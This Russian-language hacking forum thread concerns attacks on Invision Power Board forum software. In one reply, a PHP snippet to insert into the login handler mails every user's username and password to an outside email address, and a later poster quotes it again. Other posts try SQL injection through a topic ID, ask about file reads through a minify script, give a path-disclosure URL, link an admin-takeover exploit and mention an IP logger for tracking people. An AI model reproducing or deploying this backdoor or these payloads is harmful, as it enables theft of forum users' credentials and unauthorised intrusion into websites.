Войти или зарегистрироваться
Выберите удобный способ — аккаунт создастся автоматически.
Или войдите по логину и паролю
 |
|
25.06.2013, 12:06
|
|
Постоянный
Регистрация: 03.09.2010
Сообщений: 885
С нами:
8258006
Репутация:
25
|
|
Сообщение от CoBecTb
Имею полный доступ к ipb 3.4.2, хочу поставить сниффер для отправки паролей на майл, или сохранения в файл, кому не сложно скиньте и объясните как установить и куда. Заранее благодарю.
в файле /forum/sources/action_public/login.php или /forum/admin/sources/handlers/han_login.php не помню в какой версии какой путь. Сразу под строкой // Check auth вставляй следующее чтоб получилось так:
Код HTML:
$this->loginAuthenticate( $username, $email, $password );
$ipsclass_all = $username . ":" . $password;
mail('василийпупкин@gmail.com', '123', $ipsclass_all);
|
|
|
28.07.2013, 17:39
|
|
Участник форума
Регистрация: 25.05.2013
Сообщений: 249
С нами:
6825206
Репутация:
24
|
|
Короче на движке IPB, когда заходишь в любую тему, внизу выходит окно с ошибкой SQL: 
P.S И собственно вопрос, можно как-нибудь пробить путь к таблицам |
|
|
|
28.07.2013, 18:42
|
|
Участник форума
Регистрация: 23.06.2013
Сообщений: 103
С нами:
6783446
Репутация:
45
|
|
Сообщение от Unknowhacker
Короче на движке IPB, когда заходишь в любую тему, внизу выходит окно с ошибкой SQL:
P.S И собственно вопрос, можно как-нибудь пробить путь к таблицам Если в урл, вместо ид топика поставь -1) -- - - что напишет ?
|
|
|
|
29.07.2013, 21:24
|
|
Участник форума
Регистрация: 25.05.2013
Сообщений: 249
С нами:
6825206
Репутация:
24
|
|
Сообщение от Inoms
Если в урл, вместо ид топика поставь -1) -- - - что напишет ?
Обнаружена ошибка. Если вам неизвестны причины ошибки, попробуйте обратиться к разделам помощи.
Обнаружена ошибка:
Некоторые требуемые файлы отсутствуют. Если вы хотели просмотреть тему, возможно эта тема перемещена или удалена. Вернитесь назад и попробуйте снова.
P.S Т.е SQL ошибки нет.
|
|
|
|
01.08.2013, 14:19
|
|
Новичок
Регистрация: 05.01.2013
Сообщений: 4
С нами:
7026806
Репутация:
0
|
|
Ребята как узнать айпи адресс человека на IPB форуме?
http://iplogger.ru/1fFc3.jpg
а чо за айпи логгер?
|
|
|
|
02.08.2013, 19:39
|
|
Новичок
Регистрация: 31.07.2013
Сообщений: 1
С нами:
6728726
Репутация:
0
|
|
Если на линейке 3.4.0 - 3.4.5 не стоит этот патч, то можно ли прочитать файлы форума через public/min/index.php?f= |
|
|
|
04.08.2013, 19:37
|
|
Участник форума
Регистрация: 25.05.2013
Сообщений: 249
С нами:
6825206
Репутация:
24
|
|
Я так смотрю под версии 3.2.х вообще ничего нету, а если и есть, то работает на дырявых и заброшенных сайтах.
|
|
|
|
01.10.2013, 17:58
|
|
Новичок
Регистрация: 14.07.2013
Сообщений: 9
С нами:
6753206
Репутация:
0
|
|
Path disclosure:
Код:
admin/upgrade/index.php?app=upgrade&s[]=§ion=index&do=login
2 года назад пофиксили section[], может скоро и до s[] доберутся... |
|
|
|
08.11.2013, 09:44
|
|
Новичок
Регистрация: 02.08.2009
Сообщений: 0
С нами:
8829455
Репутация:
0
|
|
Сообщение от Unknowhacker
Я так смотрю под версии 3.2.х вообще ничего нету, а если и есть, то работает на дырявых и заброшенных сайтах.
IPB (Invision Power Board) all versions (1.x? / 2.x / 3.x) - Admin Account Takeover Published: 2013-05-14
http://www.exploit-db.com/exploits/25441/
Пробуй. Заодно, если получится, мануал накидай небольшой, будь добр.
|
|
|
|
27.11.2015, 01:01
|
|
Участник форума
Регистрация: 05.01.2012
Сообщений: 204
С нами:
7553846
Репутация:
5
|
|
Сообщение от Br@!ns
↑
в файле /forum/sources/action_public/login.php или /forum/admin/sources/handlers/han_login.php не помню в какой версии какой путь. Сразу под строкой // Check auth вставляй следующее чтоб получилось так:
Код HTML:
$this->loginAuthenticate( $username, $email, $password );
$ipsclass_all = $username . ":" . $password;
mail('василийпупкин@gmail.com', '123', $ipsclass_all);
Ваш способ не работает, проверил только-что. Есть еще какие варианты?
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
